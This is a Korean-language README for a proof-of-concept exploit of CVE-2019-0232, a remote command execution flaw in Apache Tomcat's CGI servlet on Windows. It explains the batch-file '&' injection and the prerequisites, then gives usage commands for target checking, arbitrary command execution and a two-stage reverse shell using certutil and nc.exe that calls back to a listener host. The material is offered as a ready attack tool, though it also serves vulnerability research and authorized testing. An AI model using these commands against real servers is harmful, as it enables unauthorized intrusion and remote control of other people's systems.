
CVE-2019-0232 - Apache Tomcat CGIServlet enableCmdLineArguments RCE - PoC 익스플로잇

Apache Tomcat CGIServlet enableCmdLineArguments RCE
쿼리 문자열 인수를 통한 Windows 배치 스크립트 인젝션
Apache Tomcat에서 CGI 서블릿이 활성화되고 enableCmdLineArguments=true로 설정되면, 쿼리 문자열 파라미터가 CGI 스크립트의 명령줄 인수로 전달됩니다. Windows에서 배치 파일(.bat/.cmd)은 &를 명령 구분자로 해석하므로, 조작된 URL을 통해 임의의 명령 실행이 가능합니다.
conf/web.xml 또는 WEB-INF/web.xml에서 CGI 서블릿이 활성화되어 있어야 함enableCmdLineArguments=true로 설정되어 있어야 함ism.bat)가 배포되어 접근 가능해야 함& 인젝션을 위해 배치 파일 필요)git clone https://github.com/yuzuki-ayanami/CVE-2019-0232
cd CVE-2019-0232
pip install -r requirements.txt
CGI 엔드포인트 존재 여부 확인:
python cve-2019-0232.py check -t http://target:8080
python cve-2019-0232.py check -t http://target:8080 --cgi /cgi-bin/printenv.bat
명령 실행:
python cve-2019-0232.py exec -t http://target:8080 -c whoami
python cve-2019-0232.py exec -t http://target:8080 -c 'ipconfig'
리버스 셸 (2단계 certutil + nc.exe):
python cve-2019-0232.py revshell -t http://target:8080 --lhost 10.0.0.1 --lport 4444